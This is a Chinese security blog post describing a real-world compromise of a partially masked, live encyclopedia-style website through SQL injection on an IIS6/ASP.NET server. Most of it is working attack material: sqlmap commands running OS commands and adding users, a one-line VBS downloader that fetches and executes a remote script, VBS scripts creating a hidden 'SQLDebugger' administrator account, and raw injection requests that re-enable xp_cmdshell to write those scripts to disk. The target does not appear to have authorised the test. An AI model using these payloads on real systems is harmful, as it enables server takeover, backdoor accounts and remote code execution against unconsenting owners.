声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。所有话题标签:#Web安全 #漏洞复现 #工具使用 #权限提升#权限维持 #防护绕过 #内网安全 #实战案例#其他笔记 #资源分享 #MSF |
---|
基本信息探测:
代码语言:javascript复制目标站点:http://baike.****.cn
服务器IP:183.***.**.203(中国)
环境平台:ASP.NET 4.0.30319
服务器系统:Microsoft-IIS/6.0
搜索型注入:http://baike.****.cn/Question/AskSearchList1.aspx?Key='
http://baike.****.cn/Question/AskSearchList2.aspx?Key='
http://baike.****.cn/Knowledge/KnowledgeSearchList.aspx?Key='
0x02 实战测试过程
在这个网站共找到了3处SA权限的搜索型注入,随便在一个搜索框中输入'单引号后即会爆出语法错误。
首先我们先尝试了Pangolin穿山甲和明小子,结果都识别不出该注入点,又试了一下Havij胡萝卜和JCZ3.1,虽然能识别这个注入点,但是获取不到数据库信息、库名,也执行不了系统命令等。
Sqlmap能识别该注入点并且能够执行部分系统命令,但在进一步测试中发现以下一些问题:
- 1. 因服务器上的net.exe和net1.exe被降权了而无法直接添加管理员用户;
- 2. --os-pwn参数也不能直接获取目标Meterpreter会话,也没跑出SA密码;
- 3. 没有爆出绝对路径,无法Getshell,
当时没想到用dir等命令找绝对路径
; - 4. 虽然能获取当前库baike、用户名sa,但是没找到后台地址,也不想多走这步了 ;
sqlmap -u "http://baike.****.cn/Question/AskSearchList2.aspx?Key=" --os-cmd=whoami --threads=10
代码语言:javascript复制
sqlmap -u "http://baike.****.cn/Question/AskSearchList2.aspx?Key=" --os-cmd=net user 90sec 90sec /add --threads=10
代码语言:javascript复制sqlmap -u "http://baike.****.cn/Question/AskSearchList2.aspx?Key=" --os-pwn --msf-path=/usr/share/metasploit-framework --threads=10
Sqlmap虽然没有命令可以直接上传文件,但是我们可以通过--os-cmd参数来写一个VBS下载者来下载远控马或VBS添加管理员用户脚本,不过由于Sqlmap不支持多行内容写入,所以这里还需要用:冒号将所有脚本内容放在同一行写入,然后再去执行一下即可。
VBS Download Script:
代码语言:javascript复制Set Post = CreateObject("Msxml2.XMLHTTP"):Set Shell = CreateObject("Wscript.Shell"):Post.Open "GET","http://127.0.0.1/3.0/383442049/kRskzln4I4J543X55MK/API_Shell.Users.txt",0 :Post.Send():Set aGet = CreateObject("ADODB.Stream"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile "c:sec.vbs",2:wscript.sleep 1000:Shell.Run ("c:sec.vbs")
ADSI_WinNT:
代码语言:javascript复制set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","SQLDebugger")
od.SetPassword "www.90sec.org"
od.SetInfo
Set of=GetObject(os&"/SQLDebugger",user)
oe.add os&"/SQLDebugger"
API_Shell.Users:
代码语言:javascript复制Set o=CreateObject( "Shell.Users" )
Set z=o.create("SQLDebugger")
z.changePassword "www.90sec.org",""
z.setting("AccountType")=3
Sqlmap --os-cmd Write VBS File:
代码语言:javascript复制sqlmap -u "http://baike.pack.cn/Question/AskSearchList2.aspx?Key=" --os-cmd="echo Set Post = CreateObject("Msxml2.XMLHTTP"):Set Shell = CreateObject("Wscript.Shell"):Post.Open "GET","http://127.0.0.1/3.0/383442049/kRskzln4I4J543X55MK/API_Shell.Users.txt",0 :Post.Send():Set aGet = CreateObject("ADODB.Stream"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile "c:sec.vbs",2:wscript.sleep 1000:Shell.Run ("c:sec.vbs") > c:90sec.vbs"
命令虽然是执行完成了,但是我们的VBS下载者文件并没有被写进目标磁盘,将以上代码分为多次写入也不行,按理说应该是没问题的,因为我本地测试都是OK的!看来Sqlmap是行不通了,继续尝试一下我们曾经常用的阿D注入神器看看吧!
阿D注入工具能识别这个注入点,而且在cmd/上传模块中的底部有一个上传文件的功能,但是这里仍然不能列出目录,执行部分系统命令时返回的也都是乱码,不过这里还有以下两个思路可以尝试。
- 1. 利用Echo命令写VBS下载者,然后再执行该脚本(失败!);
- 2. 利用上传功能上传VBS添加管理员用户脚本并执行(成功!);
使用WSExplorer抓包工具抓的啊D注入工具上传功能提交的数据包如下,可以看到也是通过MSSQL中的xp_cmdshell组件来执行echo命令写入VBS文件的。
代码语言:javascript复制/Question/AskSearchList2.aspx?Key=%';use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--
/Question/AskSearchList2.aspx?Key=%';EXEc MaStER..Xp_CmdShell 'EcHo z.setting(^"AccountType^")=3 >>c:API_Shell.Users.vbs';exec master..sp_dropextendedproc 'xp_cmdshell'--
/Question/AskSearchList2.aspx?Key=%';use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--
/Question/AskSearchList2.aspx?Key=%';EXEc MaStER..Xp_CmdShell 'EcHo z.changePassword ^"www.90sec.org^",^"^" >>c:API_Shell.Users.vbs';exec master..sp_dropextendedproc 'xp_cmdshell'--
/Question/AskSearchList2.aspx?Key=%';use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--
/Question/AskSearchList2.aspx?Key=%';EXEc MaStER..Xp_CmdShell 'EcHo Set z=o.create(^"SQLDebugger^") >>c:API_Shell.Users.vbs';exec master..sp_dropextendedproc 'xp_cmdshell'--
/Question/AskSearchList2.aspx?Key=%';use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--
/Question/AskSearchList2.aspx?Key=%';EXEc MaStER..Xp_CmdShell 'EcHo Set o=CreateObject( ^"Shell.Users^" ) >c:API_Shell.Users.vbs';exec master..sp_dropextendedproc 'xp_cmdshell'--
最后是利用啊D注入工具的上传功能将VBS添加管理员用户脚本上传至目标磁盘并成功执行,进入目标服务器后发现管理员是将net.exe和net1.exe的Everyone权限设置为拒绝了,所以无法执行net。
Question/AskSearchList2.aspx.cs:
代码语言:javascript复制 {
string constring = ConfigurationSettings.AppSettings["conStr"];
using (SqlConnection con = new SqlConnection(constring))
{
con.Open();
SqlCommand com = new SqlCommand("bsp_Search_Question_Key2", con);
com.CommandType = CommandType.StoredProcedure;
com.Parameters.Add("@Key", SqlDbType.VarChar, 200);
com.Parameters["@Key"].Value = Request.QueryString["Key"].ToString();
DataSet ds = new DataSet();
SqlDataAdapter da = new SqlDataAdapter();
da.SelectCommand = com;
da.Fill(ds, "bst_Question_Base");
int curpage = Convert.ToInt32(Label1.Text);
PagedDataSource ps = new PagedDataSource();
ps.DataSource = ds.Tables["bst_Question_Base"].DefaultView;
ps.AllowPaging = true;
ps.PageSize = 10;
ps.CurrentPageIndex = curpage - 1;
LinkButton1.Enabled = true;
LinkButton2.Enabled = true;
LinkButton3.Enabled = true;
LinkButton4.Enabled = true;
if (curpage == 1)
{
LinkButton1.Enabled = false;
LinkButton2.Enabled = false;
}
if (curpage == ps.PageCount)
{
LinkButton3.Enabled = false;
LinkButton4.Enabled = false;
}
Label2.Text = Convert.ToString(ps.PageCount);
lit_Questionlist.DataSource = ps;
lit_Questionlist.DataBind();
}
}